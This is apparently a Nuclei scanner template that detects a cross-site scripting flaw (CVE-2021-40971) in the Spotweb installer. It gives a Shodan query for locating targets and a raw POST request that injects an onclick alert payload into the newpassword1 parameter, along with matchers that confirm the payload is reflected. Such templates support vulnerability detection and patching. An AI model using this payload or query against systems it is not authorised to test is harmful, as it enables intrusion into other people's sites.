id: CVE-2021-40971 info: name: Spotweb <= 1.5.1 - Cross Site Scripting author: theamanrawat severity: medium description: | Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the newpassword1 parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. remediation: Fixed in version 1.5.2 reference: - https://github.com/spotweb/spotweb/ - https://github.com/spotweb/spotweb/issues/711 - https://nvd.nist.gov/vuln/detail/CVE-2021-40971 - https://github.com/spotweb/spotweb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-40971 cwe-id: CWE-79 epss-score: 0.00152 epss-percentile: 0.51215 cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: spotweb_project product: spotweb shodan-query: title:"SpotWeb - overview" tags: cve,cve2021,xss,spotweb,spotweb_project http: - raw: - | POST /install.php?page=4 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded settingsform[newpassword1]=pdteam'+onclick='alert(document.domain) matchers-condition: and matchers: - type: word part: body words: - "onclick='alert(document.domain)" - "Spotweb" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100a14bc9c25076fbc885484e8b1ba96f298efd88070500aa91828efc072e364fc8022067fd669c70acb1a62b6bf1a1d3be6a9bb602b8422da6093257af4b408e393246:922c64590222798bb761d5b6d8e72950